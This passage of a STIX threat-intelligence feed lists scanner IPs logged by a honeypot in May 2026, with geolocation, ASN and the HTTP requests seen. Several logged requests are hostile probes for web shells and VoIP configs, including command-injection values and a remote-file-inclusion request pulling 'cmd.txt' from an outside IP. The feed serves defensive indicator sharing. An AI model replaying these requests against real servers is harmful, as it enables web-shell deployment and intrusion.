      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--708a98be-2ff9-46de-83ff-b9e534a6a587",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-24T01:25:47.948Z",
          "last_seen": "2026-05-24T01:25:56.763Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
            "\"GET /_asterisk/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/images/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/javascript/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/ops.php?45xx HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--9ad3ac2d-7b23-4f50-b6ac-25c683105089",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 11,
          "first_seen": "2026-05-24T01:21:22.331Z",
          "last_seen": "2026-05-24T01:21:36.440Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology"
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/main.php.2?5x HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--95946130-9a0b-4a72-bead-328adc7f2cd2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-24T01:24:01.080Z",
          "last_seen": "2026-05-24T01:24:04.237Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /recordings/main.php.2?5x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /0x4148.php.call HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--0418fab9-d568-447b-b093-941e17df765e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-24T01:21:37.945Z",
          "last_seen": "2026-05-24T01:22:20.683Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /0x4148.php.call HTTP/1.1\" 404 -",
            "\"GET /445122A555.php?2ew HTTP/1.1\" 404 -",
            "\"GET /Ahmed01126291919.php?qwe HTTP/1.1\" 404 -",
            "\"GET /admin/bootstrap.inc.php?mgp=danc3Uf%40t HTTP/1.1\" 404 -",
            "\"GET /admin/config.php?config HTTP/1.1\" 404 -",
            "\"GET /admin/modules/admindashboard/phpsysinfo/1.php?czx HTTP/1.1\" 404 -",
            "\"GET /main.php.1?1e HTTP/1.1\" 404 -",
            "\"GET /main.php.1?1exx HTTP/1.1\" 404 -",
            "\"GET /main.php.2?1xxe HTTP/1.1\" 404 -",
            "\"GET /main.php?15t HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php?mada=cat+253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php& HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--777b7d59-4304-4968-a374-009f7b4f8b38",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-24T01:20:48.998Z",
          "last_seen": "2026-05-24T01:20:58.263Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /_asterisk/253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php?mada=cat+253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php& HTTP/1.1\" 404 -",
            "\"GET /_asterisk/MeSSi.php?casd HTTP/1.1\" 404 -",
            "\"GET /_asterisk/sos.php?asdw HTTP/1.1\" 404 -",
            "\"GET /emad.php?45qw HTTP/1.1\" 404 -",
            "\"GET /recordings/shell-test.php?vr HTTP/1.1\" 404 -",
            "\"GET /test.php?wqe HTTP/1.1\" 404 -",
            "\"GET /wso.php?a&a HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /dslvl.php?1123 HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--bed6503e-9c44-4671-9f9c-86f7c77701ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-24T01:25:31.599Z",
          "last_seen": "2026-05-24T01:27:51.812Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /dslvl.php?1123 HTTP/1.1\" 404 -",
            "\"GET /sip.txt?ASdwd HTTP/1.1\" 404 -",
            "\"GET /themes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /ucp.php? HTTP/1.1\" 404 -",
            "\"GET /user/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /var/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/ml.php?in=http://212.83.160.70/t/cmd.txt HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/ops.php?5awe6 HTTP/1.1\" 404 -",
            "\"GET /web-meetme/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /vtigercrm/Hima.php?2 HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--4ee1e3dd-6f74-4a82-aef8-20b9163c1f20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-24T01:24:46.566Z",
          "last_seen": "2026-05-24T01:24:56.707Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /vtigercrm/Hima.php?2 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/Himaa.php?2 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/graph.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/graph.php?module=upload&1 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/main.php?8 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/moaz.php?9 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/phpversions.php?module=upload HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/Go.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--b339805a-70c6-4f51-9945-8123914770d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-24T01:23:29.807Z",
          "last_seen": "2026-05-24T01:23:38.771Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /recordings/Go.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/Hima.php?23 HTTP/1.1\" 404 -",
            "\"GET /recordings/Hima_s.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/ec0ed5d0ec037dca5.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/graph.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /recordings/graph.php?module=upload&x HTTP/1.1\" 404 -",
            "\"GET /recordings/info.php?xx HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /panel/main.php.1?31 HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--83287c77-0f6b-46e1-9ba2-9499966a8794",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 10,
          "first_seen": "2026-05-24T01:22:32.469Z",
          "last_seen": "2026-05-24T01:27:15.260Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /panel/main.php.1?31 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php.1?35 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php.2?22 HTTP/1.1\" 404 -",
            "\"GET /panel/ming-source/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a7/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/a8a.php?c=cat+a8a.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/atmin/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/awael/config.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /k12/config.all.php?x HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--0fb19720-ccfb-4f87-a848-e76240629fbb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-24T01:29:25.857Z",
          "last_seen": "2026-05-24T01:29:30.860Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /k12/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /lang/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /libs/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /mail/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /mobrise/config.all.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--5b5eff89-06cc-4f2f-bbe7-b9c371ff277b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-24T01:27:02.956Z",
          "last_seen": "2026-05-24T01:27:13.490Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /mobrise/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /modules/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /nwebmail/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/dhtml/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/flash/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/init/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/ini.php?123 HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--41ce4bfb-cd5b-4dba-8767-0be11721942d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:23:40.396Z",
          "last_seen": "2026-05-24T01:23:49.019Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /recordings/ini.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/is/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/jeep.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/just-emad.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/lol.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/m2s.php?letter=asd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 - geo: SE; ASN 41281 (KeFF Networks Ltd)",
      "id": "indicator--1d0aa796-095f-4b6f-9603-7ee8e1229b19",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.189.100.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 32,
          "first_seen": "2026-05-24T01:27:28.613Z",
          "last_seen": "2026-05-24T01:29:14.903Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 41281,
          "as_org": "KeFF Networks Ltd",
          "event_types": [
            "\"GET /.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
            "\"GET /_asterisk/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/images/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/javascript/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/jpgraph_lib/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/pqp/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /aastra/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
            "\"GET /admin/assets/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /phpversions.php?npv HTTP/1.1\" 404 - geo: FR; ASN 213873 (MOJI SAS)",
      "id": "indicator--133a2431-bc66-4887-b6a4-ea24f21a290c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '203.55.81.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-24T01:30:17.401Z",
          "last_seen": "2026-05-24T01:30:30.245Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213873,
          "as_org": "MOJI SAS",
          "event_types": [
            "\"GET /phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /user/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /var/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /web-meetme/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /welcome/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /widgets/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /xmlservices/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /yii/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/modules/config.php? HTTP/1.1\" 404 - geo: US; ASN 396507 (Emerald Onion)",
      "id": "indicator--26e084be-d07e-4c82-b907-a405f14c847c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.129.64.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-24T01:27:57.881Z",
          "last_seen": "2026-05-24T01:27:57.881Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396507,
          "as_org": "Emerald Onion",
          "event_types": [
            "\"GET /admin/modules/config.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /meetme/config.all.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-24T01:27:01.404Z",
          "last_seen": "2026-05-24T01:27:01.404Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /meetme/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /STC_VoIP_PIN/config.all.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:27:30.353Z",
          "last_seen": "2026-05-24T01:27:39.421Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /STC_VoIP_PIN/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /restapi/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /restapps/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /temp/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /templates_c/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /adminconfig.all.php?aa HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--602a8ee9-292c-49fd-b5f5-32bf3a9e74fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
